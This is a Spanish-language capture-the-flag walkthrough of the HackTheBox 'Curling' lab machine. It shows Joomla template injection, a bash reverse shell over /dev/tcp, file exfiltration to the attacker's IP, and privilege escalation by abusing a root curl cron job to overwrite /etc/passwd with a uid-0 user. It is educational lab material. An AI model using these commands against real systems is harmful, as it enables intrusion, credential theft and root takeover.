HackTheBox - Curling
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: Information Leakage, Crontab Exploitation (curl)
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
c. Al inspeccionar el sitio web encontramos un nombre de usuario y un fichero secret
La cadena que obtenemos al visitar el fichero ‘secret.txt’ está encodeada en base64
1 2
❯ echo -n 'Q3VybGluZzIwMTgh' | base64 -d Curling2018!
Nos autenticamos en el panel de administrador de Joomla (/administrator)
d. Para ejecutar comandos, inyectamos una sentencia php en un template de error
- Para ejecutar comandos vamos a la ruta
http://<IP Curling>/templates/protostar/error.php?cmd=[Comando]
. Ahora, entablamos una reverse shell
1
2
3
4
Payload = bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/<tun0 IP>/<Puerto>%200%3E%261%22
----------------------------------------------------------------------------------------
❯ nc -lvnp 443
www-data@curling:/var/www/html/templates/protostar$
Escalada de Privilegios 💹
a. El usuario floris tiene un fichero password_backup el cual transferiremos a nuestra máquina
1
2
3
❯ nc -lvnp 4444 > password_backup
---------------------------------------------------------------------------------
www-data@curling:/home/floris$ cat < password_backup > /dev/tcp/10.10.14.18/4444
El contenido del archivo lo pasamos por CyberChef. Veremos una posible credencial
b. Veremos si la cadena anterior puede ser la contraseña del usuario floris
1
2
3
❯ ssh floris@10.10.10.150
floris@10.10.10.150's password: 5d<wdCbdZu)|hChXll
floris@curling:~$
c. Subimos pspy para saber si existen tareas cron ejecutándose en el sistema
1
2
3
4
floris@curling:~$ ./pspy64
<SNIP>
2023/09/13 23:07:01 CMD: UID=0 PID=2220 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
- Puntos Principales:
- El usuario root ejecuta esta tarea.
- La opción
-K
en curl sirve para indicar un archivo de configuración en el que podemo indicar un url de la cual conseguirá la información y donde queremos que la guarde
d. Con lo anterior en mente, podemos indicar que queremos sobreescribir el fichero /etc/passwd
, para añadir un nuevo usuario con lo mismo privilegios que root
- Copiamos el fichero ‘/etc/passwd’ de la Máquina Curling.
- Con openssl generamos una contraseña válida (En el ejemplo la contraseña es hola)
Agregamos el usuario ‘evil’ al final del archivo ‘/etc/passwd’ copiado y montamos un servidor http con python
1 2 3 4
❯ tail -n 1 passwd evil:$1$4NQ2IHzW$TtycSVMvW6nOiprAtnxZK/:0:0::/home:/bin/bash ------------------------------------------------------------- ❯ python -m http.server 80
Modificamos el fichero input
1 2 3
floris@curling:~/admin-area$ cat input url = "http://<tun0 IP>/passwd" output = "/etc/passwd"
c. El usuario evil será válido en el sistema y si nos convertirmos en él, tendremos permisos como root
1
2
3
4
5
floris@curling:~/admin-area$ tail -n 1 /etc/passwd
evil:$1$4NQ2IHzW$TtycSVMvW6nOiprAtnxZK/:0:0::/home:/bin/bash
floris@curling:~/admin-area$ su evil
Password: hola
root@curling:~/floris/admin-area#